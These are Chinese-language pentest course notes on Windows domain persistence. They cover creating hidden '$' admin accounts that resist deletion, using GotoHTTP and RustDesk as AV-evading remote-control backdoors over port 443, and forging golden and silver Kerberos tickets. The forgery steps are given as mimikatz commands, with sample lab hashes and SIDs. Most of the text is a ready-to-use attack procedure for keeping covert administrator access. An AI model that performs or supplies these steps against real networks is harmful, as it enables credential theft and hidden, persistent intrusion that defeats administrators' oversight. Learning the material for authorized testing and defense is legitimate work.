142-权限维持&黄金白银票据&隐藏账户&C2远控&RustDesk&GotoHTTP

内网域&单机版-权限维持-基于用户-隐藏用户

工具原理：

        添加用户时在用户名上添加$符号，将该用户的用户组设置为空(单主机环境为空，域环境为administrator组)，导致无法删除(在注册表中也可以进行隐藏)

CreateHiddenAccount_upx_v0.2.exe -u test1111 -p test1111

控制面板能查看到，命令查看看不到，单机版无法删除，域环境可以删除

CreateHiddenAccount_upx_v0.2.exe -c

对于只使用命令创建的隐藏账号只能做到在命令行隐藏无法再管理界面隐藏

内网域-权限维持-基于软件-GotoHTTP&RustDesk—无需安装

GotoHTTP

GotoHTTP - Online remote control platform

这个确实好用，不是C2C而是B2C的模式，用网页去远程控制。也就是说只要放行了443端口就可以远控

并且此程序只有3M大小，免杀，而且用来连接的id和控制码都会在程序运行后生成的ini文件中看得到，无敌远控

流量走https协议，只要目标放行443端口出口就可以实现内网穿透。

在低带宽也可以使用，运行占用内存极低，控制时占用CPU仅为0%-3%。

被控端在类Linux系统上支持图形界面（GUI）和字符界面（CLI）。

网络唤醒远程主机需加载驱动，导致运行时安全卫士会拦截这行为，其他杀软不会拦截。

在官网直接控制

好烧现在要收费了，而且是先使用后付费的方式

rustdesk

RustDesk – 开源远程桌面访问软件

连接所需的id密码在 C:\Users\用户名\AppData\Roaming\RustDesk\config

目前版本的id和密码被加密了，市面上没看到有相关的解密工具。可以忽略了

但是他有一个优点就是可以内网使用ip直连

内网域-权限维持-基于服务TGT-黄金白银票据

也是讲到过很多次的黄金白银票据了，要弄懂这两个票据，就得先搞清楚kerberos协议，我也写了一篇关于自己对kerberos协议浅显理解的文章，可以先看看。

黄金票据

krbtgt 的NTLM Hash如果泄露了，那么TGT就能被解密甚至伪造。伪造的TGT叫做黄金票据。

1、已经拿下域管理员，获取到krbtgt hash；

2、利用krbtgt的hash制作黄金票据工具，进行攻击。

获取相关信息

whoami /user

whoami /all

wmic useraccount get name,sid

域名 niganma.hhh

SID S-1-5-21-2427835825-1083592024-1743899581-500

获取krbtgt的hash

mimikatz privilege::debug

mimikatz lsadump::lsa /patch #导出所有机器用户的hash值，找到user=krbtgt的hash值

49d67397977b77b72227f1942de12e00

伪造用户名 user3(想要伪造的都可以)

生成票据(此命令不需要管理员权限)

mimikatz kerberos::golden /user:user3 /domain:niganma.hhh /sid:S-1-5-21-2427835825-1083592024-1743899581-500 /krbtgt:49d67397977b77b72227f1942de12e00 /ticket:goldentgt (goldentgt是自己取的名字)

为了证明现将票据都清空

然后将生成的票据goldentgt导入内存

kerberos::ptt goldentgt

成功访问域控

黄金票据总结：

该攻击⽅式其实是⼀种后⻔的形式，属于第⼆次进⾏攻击的⽅法。

第⼀次拿到域管权限之后，需要将krbtgt NTLM hash进⾏保存，当第⼆次再来进⾏域渗透攻击时，我们就可使⽤krbtgt的NTLM hash制作⻩⾦票据，从⽽再次获得域管权限。

白银票据

ST(Ticket )是由Server的NTLM Hash进行加密的，如果该Hash泄露，那么就可以解密甚至伪造Ticket。伪造的Ticket 叫做白银票据。

1、已经拿下域管理员，获取到DC hash；

2、利用DC的hash制作白银票据工具，进行攻击。

域名 niganma.hhh

SID S-1-5-21-2427835825-1083592024-1743899581 (后面的1000之类的可以删除)

获取域DC账户的NTLM Hash

mimikatz privilege::debug

mimikatz sekurlsa::logonpasswords

选机器账户的，我这里机器叫DC

NTLM:09c407a9283a018267c5a7f550fc6638

导入票据

用户名:user3

rc4就是获取的NTLM

cifs：共享文件

mimikatz kerberos::golden /user:user3 /domain:niganma.hhh /sid:S-1-5-21-2427835825-1083592024-1743899581 /target:DC /service:cifs /rc4:09c407a9283a018267c5a7f550fc6638 /ptt

成功连接

白银票据只能伪造访问具体服务的票据，这里伪造的是CIFS服务的票据，所以才能进行文件的查看。